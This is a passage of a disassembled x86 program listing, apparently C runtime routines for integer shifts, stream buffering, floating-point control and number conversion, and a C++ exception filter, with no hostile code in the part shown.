		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D348
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D360
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB40
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB68, eax
		add	esp, 18h
		movsx	eax, byte_4DBB42
		mov	dword_4DBB60, eax
		pop	edi
		movsx	eax, word_4DBB40
		mov	dword_4DBB64, eax
		mov	dword_4DBB6C, offset dword_4DBB44
		mov	eax, offset dword_4DBB60
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043CF88o
					; ___:0043D7E8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB70
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB70
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
dword_424754	dd 0E8004247h, 21FC756h, 0BB70A390h, 0FFC3004Dh, 4DBB7035h
					; DATA XREF: ___:00429040o
		dd 43E89000h, 0C3021FC7h

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2620A62h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 28E0867h
		nop
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi


